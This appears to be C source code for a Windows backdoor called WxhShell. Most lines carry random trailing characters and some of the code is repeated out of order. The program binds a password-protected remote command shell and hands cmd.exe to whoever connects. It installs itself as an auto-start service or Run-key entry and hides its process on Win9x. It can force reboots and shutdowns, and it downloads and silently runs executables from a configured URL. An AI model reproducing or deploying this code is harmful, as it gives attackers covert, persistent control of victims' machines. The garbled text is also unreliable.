    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j9h fW'  
    else { =2Yt[8';  
    closesocket(wsh); YZ4`b-  
    ExitThread(0); #]tDxZ] 6  
    } Hy&Z0W'l  
    break; @:GqOTN  
    } x]x3iFD  
  // 获取shell L'? aoRj  
  case 's': { !V3+(o 1  
    CmdShell(wsh); ~io.TS|r  
    closesocket(wsh); 9$ ;5J  
    ExitThread(0); wTU$jd1;+  
    break; }3X/"2SW^  
  } 8T T#b?d  
  // 退出 Cd 2<r6i  
  case 'x': { ;Jg$C~3tf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \2 N;V E  
    CloseIt(wsh); @ztT1?!e  
    break; S3Gr}N  
    } @qp6Y_,E[  
  // 离开 `v``}8tm  
  case 'q': { 8VMA~7^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r+E!V'{C  
    closesocket(wsh); B=& [Z2  
    WSACleanup(); @tm2Y%Y!  
    exit(1); 7cGOJA5&  
    break; Qr$ 7 U6p  
        } 1bCE~,tD  
  } !6=;dX  
  } *af\U3kx  
G&{yM2:E  
  // 提示信息 p7;K] AW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @gK`RmhGE5  
} @M4c/k}  
  } y1%OH#:duD  
Q:megU'u  
  return; } u;{38~  
} oOpEpQ}}q  
lt6wmCe  
// shell模块句柄 "gM!/<~  
int CmdShell(SOCKET sock) Za|iU`e\  
{ Ne Y*l  
STARTUPINFO si; 1n^N`lD8]6  
ZeroMemory(&si,sizeof(si)); 20|_wAA5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !<:Cd(bM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XKky-LeJ  
PROCESS_INFORMATION ProcessInfo; <$z[pw<  
char cmdline[]="cmd"; bTimJp[b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C`i#7zsH  
  return 0; =|1_6.tz  
} O|8@cO  
@u9L+*F  
// 自身启动模式 ?5nEmG|kO  
int StartFromService(void) [S,$E6&j$"  
{ |w|c!;,  
typedef struct pS+w4gW  
{ ?;~E*kzO&  
  DWORD ExitStatus; qP#LJPaS  
  DWORD PebBaseAddress; ~Yk^(hl2  
  DWORD AffinityMask; ,FzkGB#  
  DWORD BasePriority; JT0j2_*Rr  
  ULONG UniqueProcessId; XYWyxx5`  
  ULONG InheritedFromUniqueProcessId; %eDSo9Y  
}   PROCESS_BASIC_INFORMATION; by @qg:  
@iuX~QA[9  
PROCNTQSIP NtQueryInformationProcess; :k1?I'q%  
-#f.}H'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _D{A`z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; erEB4q+ #O  
#U`AK9rP_g  
  HANDLE             hProcess; 1*hEbO  
  PROCESS_BASIC_INFORMATION pbi; _dd! nU\A|  
kiM:(=5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LP#wE~K"b  
  if(NULL == hInst ) return 0; yHw @Z  
m)p|NdTZc8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (dSYb&]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )\u%XFPhS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G]rY1f0  
t/Io.d   
  if (!NtQueryInformationProcess) return 0; MygAmV&  
lg-_[!4Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _S ng55s  
  if(!hProcess) return 0; MN2i0!+  
/io06)-/n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  N~$>| gn  
5HOl~E  
  CloseHandle(hProcess); J"AR3b@,$?  
~@c<5 -`{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c%pf,sm'  
if(hProcess==NULL) return 0; $~FZJ@qa  
rt*x[5<  
HMODULE hMod; 8 8_ef7w  
char procName[255]; Bp7p X  
unsigned long cbNeeded; Li5&^RAo|J  
.|[{$&B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YgcW1}  
iZn0B5]ikj  
  CloseHandle(hProcess); ^>l <)$s  
-8qCCV&1i  
if(strstr(procName,"services")) return 1; // 以服务启动 1}\p:`  
3Sfd|0^  
  return 0; // 注册表启动 k^%=\c  
} LhLAQ2~  
; H ;h[  
// 主模块 w~6UOA8}  
int StartWxhshell(LPSTR lpCmdLine) g0zzDv7~  
{ Mrrpm% Y  
  SOCKET wsl; sr;&/l#7h  
BOOL val=TRUE; >ZOlSLu  
  int port=0; 5m~9Vl-&  
  struct sockaddr_in door; $XQgat@&]  
\09A"fs{  
  if(wscfg.ws_autoins) Install(); fVn4=d6X  
06Wqfzceb  
port=atoi(lpCmdLine); $4g {4-)  
o^2MfFS  
if(port<=0) port=wscfg.ws_port; ZXb|3|D  
TbD  
  WSADATA data; mh}D[K=~%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LH4#p%Pb%  
0C :8X   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =|i_T%a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %.=}v7&<z  
  door.sin_family = AF_INET; !lfE7|\p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vpg>K #w  
  door.sin_port = htons(port); t~ {O)tt  
(5!'42  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2JK '!Ry)  
closesocket(wsl); s_y8+BJaV  
return 1; vcu@_N1Dc  
} KuJ9bn{u!C  
UPGUJ>2Z  
  if(listen(wsl,2) == INVALID_SOCKET) { @!OXLM   
closesocket(wsl); >rQj1D)@  
return 1; D{JjSky  
} l-%] f]>  
  Wxhshell(wsl); r gIWM"  
  WSACleanup(); 9 ~W]D!m,  
+45SKu=  
return 0; c~(61Sn]  
q{&c?l*2  
} oH=?1~ e  
, ]1f)>  
// 以NT服务方式启动 .*` ^dt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I4@XOwl{P  
{ 1@OpvO5  
DWORD   status = 0; bss2<mqlH  
  DWORD   specificError = 0xfffffff; Xsa8YP9  
PyfWIU7O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qq:}Z7 H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q$5 t~*$`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4\-11!'08  
  serviceStatus.dwWin32ExitCode     = 0; m'}`+#C%)  
  serviceStatus.dwServiceSpecificExitCode = 0; m:)&:Y0 (a  
  serviceStatus.dwCheckPoint       = 0; W|8VE,"7  
  serviceStatus.dwWaitHint       = 0; Q8`V0E\~  
7vZO;FGtG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dazm8_x  
  if (hServiceStatusHandle==0) return; [E p'm  
rEWJ3*Hb  
status = GetLastError(); "yQBHYP  
  if (status!=NO_ERROR) [mv? \HDa~  
{ 9 3)fC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Saf z8-3o  
    serviceStatus.dwCheckPoint       = 0; *4 LS``  
    serviceStatus.dwWaitHint       = 0; K[iAN;QCe%  
    serviceStatus.dwWin32ExitCode     = status; ]|!|3lQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; } iKjef#J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~B{08%|oK  
    return; 7<WUj K|  
  } LujLC&S  
i FZGfar?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gf>H-718F  
  serviceStatus.dwCheckPoint       = 0; 0+iRgnd9?  
  serviceStatus.dwWaitHint       = 0; #,z-Pj?O!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &V*MNi,4Z  
} mQ`atFz:Z  
wY ItG"+6  
// 处理NT服务事件,比如:启动、停止 T9$~tv,5F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R*bx&..<  
{ sPQj B[  
switch(fdwControl) S~:uOm2t\  
{ c"tlNf?  
case SERVICE_CONTROL_STOP: yQ/O[(  
  serviceStatus.dwWin32ExitCode = 0; dUa>XkPa\2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /g>-s&w  
  serviceStatus.dwCheckPoint   = 0; GY?u+|Q  
  serviceStatus.dwWaitHint     = 0; 1"CWEL`i  
  { ?rOj?J9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `WH$rx!  
  } n`Z}tQ%)o  
  return; (!fx5&F  
case SERVICE_CONTROL_PAUSE: \Ebh6SRp\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b|AjB:G  
  break; wzy[sB274  
case SERVICE_CONTROL_CONTINUE: J#C4A]A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !IR cv a  
  break; ?n{m2.H  
case SERVICE_CONTROL_INTERROGATE: +/celp  
  break; k5K5OpY  
}; $ H+X'1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^J>m4`  
} ng+sK  
<|k :%  
// 标准应用程序主函数 .b_ppieNY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y2+f)Xp_.C  
{ YZfi-35@g  
c&bhb[  
// 获取操作系统版本 BTwc(oL  
OsIsNt=GetOsVer(); ngZq]8 =o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KgM|:'  
.t[u_tBL  
  // 从命令行安装 )T9Cv8  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~/A2 :}Cp=  
NpGi3>5  
  // 下载执行文件 8B-PsS|'  
if(wscfg.ws_downexe) { EE]xZz>o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1/mBp+D  
  WinExec(wscfg.ws_filenam,SW_HIDE); >[wxZ5))  
} EoutB Vm  
I*%3E.Z@g  
if(!OsIsNt) { 7ucm1   
// 如果时win9x,隐藏进程并且设置为注册表启动 Mhn1-ma:  
HideProc(); @$kO7k0{g  
StartWxhshell(lpCmdLine); \2+ngq)  
} CRCy)AS,t  
else uq[5 om"  
  if(StartFromService()) .Bkfe{^  
  // 以服务方式启动 l4$ sku-  
  StartServiceCtrlDispatcher(DispatchTable); Eg1TF oIWl  
else ??e|ec2%  
  // 普通方式启动 (&79}IEd  
  StartWxhshell(lpCmdLine); .*6NqX$  
'eBD/w5U  
return 0; ~roNe|P  
} )0 E_Y@  
'%/=\Q`  
y(<{e~  
AVLY|79#  
=========================================== >|RoLV  
"Ai\NC  
&V 7J5~_  
Y>3zpeQ!&  
vbJdhaf  
6I(Y<LZ5  
" KW'nW  
>!Y#2]@}o  
#include <stdio.h> `vzMuL;  
#include <string.h> x(sKkm`Q  
#include <windows.h> 00IW9B-  
#include <winsock2.h> PdVY tK%  
#include <winsvc.h> f%n ;Z}=  
#include <urlmon.h> Q1*_l  
.s"Og;g  
#pragma comment (lib, "Ws2_32.lib") v$@1q9 5J  
#pragma comment (lib, "urlmon.lib") 'wFhfZB1!B  
?4wl  
#define MAX_USER   100 // 最大客户端连接数 `0%;Gz%}  
#define BUF_SOCK   200 // sock buffer 7./WS,49  
#define KEY_BUFF   255 // 输入 buffer I/upiqy  
aC' 6  
#define REBOOT     0   // 重启 g:~q&b[q6  
#define SHUTDOWN   1   // 关机 bHm/ZZx  
RLex#j  
#define DEF_PORT   5000 // 监听端口 13 L&f\b  
-wH0g^Ed  
#define REG_LEN     16   // 注册表键长度 R#Yj%$E1  
#define SVC_LEN     80   // NT服务名长度 E4\HI+  
lGK7XAx,  
// 从dll定义API  7Oe$Ou  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z7BFkZ6+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C8v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zQO 1%g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bZUw^{~)D  
OR+_s @Yg  
// wxhshell配置信息 &b,A-1`w_  
struct WSCFG { x(Uv>k~i}  
  int ws_port;         // 监听端口 Pbbi*&i  
  char ws_passstr[REG_LEN]; // 口令 =3% GLj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3%Q<K=jy  
  char ws_regname[REG_LEN]; // 注册表键名 6&<QjO  
  char ws_svcname[REG_LEN]; // 服务名 Ok)f5")N %  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /ho7~C+H*e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /T  {R\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~C>;0a;<:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `K@N\VM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lxZ9y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {4SaS v^/  
z^*g 2J,  
}; @N[<<k7g  
P()n=&XO6  
// default Wxhshell configuration L$"x*2[A  
struct WSCFG wscfg={DEF_PORT, BE&8E\w  
    "xuhuanlingzhe", *1-0s*T  
    1, HD{u#~8{  
    "Wxhshell", 3&E@#I^] ,  
    "Wxhshell", IDF0nx]  
            "WxhShell Service", E0HE@pqr  
    "Wrsky Windows CmdShell Service", LZG(T$dI  
    "Please Input Your Password: ", !s$1C=z5u  
  1, b^<7a&  
  "http://www.wrsky.com/wxhshell.exe", 'S74Ys=-0  
  "Wxhshell.exe" Nf* .r  
    }; D|$0~1y  
;H8`^;  
// 消息定义模块 DfGq m-c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oPBKPGD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =B+dhZ+#S$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z= -fL  
char *msg_ws_ext="\n\rExit."; p|qLr9\A  
char *msg_ws_end="\n\rQuit."; UWqiA`,  
char *msg_ws_boot="\n\rReboot..."; 7)O+s/.P)  
char *msg_ws_poff="\n\rShutdown..."; p]~PyzG!  
char *msg_ws_down="\n\rSave to "; Hsov0  
(6H 7?nv  
char *msg_ws_err="\n\rErr!"; =],c$)  
char *msg_ws_ok="\n\rOK!"; Z s| *+[  
(I;81h`1G  
char ExeFile[MAX_PATH]; QCDica `+*  
int nUser = 0; * #z@b  
HANDLE handles[MAX_USER]; < fe.  
int OsIsNt; T^+K`U  
>e.vUUQ{  
SERVICE_STATUS       serviceStatus; yXtQfR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E*tT^x)  
;InMgo,  
// 函数声明 &'DR`e O)  
int Install(void); D8B\F5..c#  
int Uninstall(void); ]RadwH"0!  
int DownloadFile(char *sURL, SOCKET wsh); .*595SuF  
int Boot(int flag); \%}]wf}  
void HideProc(void); 1W0[|Hf2v*  
int GetOsVer(void); ;*nzb!u\\  
int Wxhshell(SOCKET wsl); DH$Nz  
void TalkWithClient(void *cs); K'Wv$[~Dc  
int CmdShell(SOCKET sock); Z3Ww@&bU  
int StartFromService(void); .!2 u#A  
int StartWxhshell(LPSTR lpCmdLine); R vU'8Y?>w  
DBu8}2R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xf8e"mD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,0nrSJED  
d7&d FvG  
// 数据结构和表定义 Ps 0<CUyI  
SERVICE_TABLE_ENTRY DispatchTable[] = eLHhfu;k  
{ x}` )'a[  
{wscfg.ws_svcname, NTServiceMain}, m,6u+Z ,  
{NULL, NULL} .A/xH x  
}; 8{icY|:MTN  
.DnG}884  
// 自我安装  cFjD*r-  
int Install(void) zw5Ol%JF  
{ (<H@W/0$  
  char svExeFile[MAX_PATH]; -m=!SQ >9  
  HKEY key; aAd1[?&  
  strcpy(svExeFile,ExeFile); m>w{vqPwJ  
Gf~^Xv!T  
// 如果是win9x系统,修改注册表设为自启动 o?= &kx  
if(!OsIsNt) { Jfv'M<I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qM Qu!%o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "~Kph0-  
  RegCloseKey(key); >wYmx4W>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UT 7'-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S5L0[SZ$!  
  RegCloseKey(key); #+h#b%8  
  return 0; Mbly-l{|  
    }  0,#n_"  
  } Y@Ry oJ  
} t!FC)iY  
else { .UN?Ak*R  
Gp?pSI,b.t  
// 如果是NT以上系统,安装为系统服务 B'y)bY'_dS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :UKc:JVNM  
if (schSCManager!=0) 6RSit  
{ ZRr.kN+F  
  SC_HANDLE schService = CreateService ]haQ#e}WH  
  ( '['x'G50  
  schSCManager, g>b{hkIXg  
  wscfg.ws_svcname, Az?^4 1r8  
  wscfg.ws_svcdisp, VS~+W=5}  
  SERVICE_ALL_ACCESS, ~Kt+j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 66MUrNW  
  SERVICE_AUTO_START, PCH$)F4^  
  SERVICE_ERROR_NORMAL,  Cz&t*i/  
  svExeFile, * +6Z^ 7  
  NULL, x>J(3I5_b  
  NULL, Cnu])R  
  NULL, I&&;a.  
  NULL, {8;}y[R  
  NULL B1Z;  
  ); -" r4  
  if (schService!=0) ]h`d>#Hw!  
  { 1p-<F3;  
  CloseServiceHandle(schService); {?cF2K#  
  CloseServiceHandle(schSCManager); x'Nc}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RO[X #c  
  strcat(svExeFile,wscfg.ws_svcname); {?mb.~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QPFv]^s(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BryD?/}P)M  
  RegCloseKey(key); J'&K  
  return 0; 4^ 0CHy  
    } !,J] 5$M  
  } 9m"EY@-  
  CloseServiceHandle(schSCManager); ! bwy/A  
} kexvE 3  
} %?/vC 6  
L?Ih;  
return 1; V72?E%d0  
} #2*R0_b  
/p}pdXS  
// 自我卸载 Y$ KR\ m  
int Uninstall(void) =|c7#GaiF  
{ (@* %moo  
  HKEY key; 8&1xb@Nc7  
}_+):<Db  
if(!OsIsNt) { ij}{H#0S-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {"N:2  
  RegDeleteValue(key,wscfg.ws_regname); j97K\]tQ  
  RegCloseKey(key); yZmeke)_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6OtNWbB  
  RegDeleteValue(key,wscfg.ws_regname); *m'&<pg]X  
  RegCloseKey(key); ?|Wxqo  
  return 0; 95/;II  
  } A=D G+z''  
} SK@lr  
} }n,LvA@[0  
else { 1 :{+{Yl7  
ZlQ&m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jS#YqVuN  
if (schSCManager!=0) bc& 5*?  
{ W:8{}Iu<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (r1"!~d@  
  if (schService!=0) SEM- t   
  { Pn ?gB}l  
  if(DeleteService(schService)!=0) { }JUc!cH8z  
  CloseServiceHandle(schService); ,OkI0[  
  CloseServiceHandle(schSCManager); GN+,9  
  return 0; n (Um/  
  } A#F6~QX(.9  
  CloseServiceHandle(schService); u3jLe=Y'\  
  } !G'wC0  
  CloseServiceHandle(schSCManager); & }_tALg  
} )~w bu2;  
} )L"J?wTe  
qE6D"+1y7  
return 1; Z|3[Y@c \  
} {{ 1qk G9$  
oRmA\R*  
// 从指定url下载文件 GIS,EwA  
int DownloadFile(char *sURL, SOCKET wsh) _( QW2m?K  
{ *M$$%G(4  
  HRESULT hr; E7<l^/<2S+  
char seps[]= "/"; 9SU/ 86|N  
char *token; >5t]Zlb`  
char *file; pT:6A[&  
char myURL[MAX_PATH]; N=@8~{V.  
char myFILE[MAX_PATH]; i`w&{WTRQ  
7?uIl9Vk>(  
strcpy(myURL,sURL); w:~vfdJ  
  token=strtok(myURL,seps); Ou|kb61zg  
  while(token!=NULL) uPb.uG  
  { r;"Qu  
    file=token; GCxmqoQ  
  token=strtok(NULL,seps); <.lt?!.ZH  
  } :4Y 5  
R{9G$b1Due  
GetCurrentDirectory(MAX_PATH,myFILE); >ATccv  
strcat(myFILE, "\\"); #Xi9O.  
strcat(myFILE, file); 0"mr*hyj  
  send(wsh,myFILE,strlen(myFILE),0);  {C%f~j  
send(wsh,"...",3,0); TO/SiOd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Fb 2c0?Y  
  if(hr==S_OK) zRm@ |IT  
return 0; }%3i8e  
else [q|8.>sB  
return 1; w6AG:u  
xr^fP~V|)0  
} Ye/Y<Ij  
%(r.`I$  
// 系统电源模块 h9&0"LHr  
int Boot(int flag) A%EGu4  
{ ;a(7%  
  HANDLE hToken; A aM~B`B  
  TOKEN_PRIVILEGES tkp; 1f$1~5Z  
X9YbTN  
  if(OsIsNt) { ;jmT5XzL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #*"I?B/fd8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8HWEObRY  
    tkp.PrivilegeCount = 1; l~x 6R~q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E/C3t2@-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \"+}-!wr  
if(flag==REBOOT) { 07vzVsQ}p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?|GwuG8g  
  return 0; 0)9n${P7d  
} $$T a  
else { tG 0 &0`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sGGi7 %  
  return 0; cu4|!s`#  
} 3nx*M=  
  } R`%O=S*]  
  else { 0BP=SCi  
if(flag==REBOOT) { Co:Rg@i(F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~01t_Xp qc  
  return 0;  [4mIww%  
} Ro#O{  
else { LUA<N:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yY80E[v  
  return 0; ]!WD">d:  
} 7fW$jiw  
} 9lqD~H.  
]q|U0(q9  
return 1; Htce<H-P  
} lh;;%@1DM  
n7bML?f'  
// win9x进程隐藏模块 "]yfx@)_  
void HideProc(void) IG4`f~k^  
{ (usPAslr  
LP}'upv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ({h W  
  if ( hKernel != NULL ) Ka8Bed3  
  { 9gETWz(3I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A3Vj3em  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^{64b  
    FreeLibrary(hKernel); JzkI!5c<j  
  } nO8e'&|  
{fn1sGA  
return; N. 0~4H %U  
} \WM"VT  
+VO(6Jn  
// 获取操作系统版本 %}Z1KiRiX  
int GetOsVer(void) 3/CKy##r%]  
{ 7"Q;Yi2(  
  OSVERSIONINFO winfo; b5l;bXp]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <1kK@m -E  
  GetVersionEx(&winfo); v(Q-RR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E&\ 0+-Dw  
  return 1; R7Z!  
  else piAFxS<6  
  return 0; v.>95|8  
} [9~6, ;6  
nOU.=N v`  
// 客户端句柄模块 *YP;HL  
int Wxhshell(SOCKET wsl) H) q_9<;  
{ uL=FK  
  SOCKET wsh; k}e~xbh-y  
  struct sockaddr_in client; Vd A!tL  
  DWORD myID; :Mq{ES%  
Uq(fk9`6  
  while(nUser<MAX_USER) TL: 6Pe  
{ R(GL{Dh}L  
  int nSize=sizeof(client); +3r4GEa Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +w(B9rH  
  if(wsh==INVALID_SOCKET) return 1; 6f;20dn 6  
m@g9+7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EskD)Sl   
if(handles[nUser]==0) OTWp,$YA=  
  closesocket(wsh); @}_Wl<kn  
else +.66Ky`|[  
  nUser++; WdTia o,r  
  } Z (C0+A\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bfKF6  
=dY!-#yg!  
  return 0; KKNQ+'?  
} nRheByYm  
vFi+ExBU  
// 关闭 socket fD2 )/5j1  
void CloseIt(SOCKET wsh) T!t9`I0Zz  
{ dEPLkv  
closesocket(wsh); x+W,P  
nUser--; ^8 cq qu  
ExitThread(0); ulNMqz\.  
} e9rgJJ  
}k_'a^;C1  
// 客户端请求句柄 !5>PZ{J  
void TalkWithClient(void *cs) %G'P!xQhy  
{ ?l^NKbw  
8]xYE19=  
  SOCKET wsh=(SOCKET)cs; *Jg&:(#}<J  
  char pwd[SVC_LEN]; _''9-t;n,  
  char cmd[KEY_BUFF]; k6(0:/C  
char chr[1]; l6pvQ|  
int i,j; 0uJ??4N9  
:} DTK  
  while (nUser < MAX_USER) { 4 Xe8j55  
iB5'mb*  
if(wscfg.ws_passstr) { %ZGG6Xgw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C\}M_MD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f^G-ba  
  //ZeroMemory(pwd,KEY_BUFF); Er<!8;{?  
      i=0; oVIc^yk5a  
  while(i<SVC_LEN) { RdLk85<n  
`':G92}#  
  // 设置超时  OF O,5  
  fd_set FdRead; mD;ioaE  
  struct timeval TimeOut; !u|s8tN.U  
  FD_ZERO(&FdRead); P$6 Pe>3  
  FD_SET(wsh,&FdRead); :d wP  
  TimeOut.tv_sec=8; 4z,/0  
  TimeOut.tv_usec=0; h.5KzC S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MCl-er"]D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "$A5:1;  
-mG ,_}F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z(1`Iy M  
  pwd=chr[0]; |F&02 f!]@  
  if(chr[0]==0xd || chr[0]==0xa) { pSodT G$E  
  pwd=0; =&WH9IKz  
  break; -b=A j8h  
  } G@scz!Nt  
  i++; FM<`\ d'  
    } ?{wD%58^oG  
;1q|SmF  
  // 如果是非法用户,关闭 socket YhL^kM@c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); deCi\n  
} EAK[2?CY  
!k!1 h%7q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F[]6U/g n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >YR2h/S  
d^d+8R  
while(1) { M# cJ&+rP  
gPIl:, d(  
  ZeroMemory(cmd,KEY_BUFF); !EGpI@  
E_Fm5zb?X  
      // 自动支持客户端 telnet标准   W>&!~9H  
  j=0; 5jHr?C  
  while(j<KEY_BUFF) { ,iXQ"):!OB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L$v<t/W  
  cmd[j]=chr[0]; j eyGIY  
  if(chr[0]==0xa || chr[0]==0xd) { 0N_u6*@  
  cmd[j]=0; ku GaOO  
  break; =4gPoS  
  } |2Uw8M7.E  
  j++; 3e)$<e  
    } {2U3   
piXL6V@c  
  // 下载文件 #?'@?0<6  
  if(strstr(cmd,"http://")) {  ?Zc(Zy6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g1~wg$`S8S  
  if(DownloadFile(cmd,wsh)) L+8O 4K{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J>1%* Tz  
  else O"J"H2}S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,+swFSN  
  } jOm7:+H  
  else { /4KHf3Nr  
&FWz7O>1  
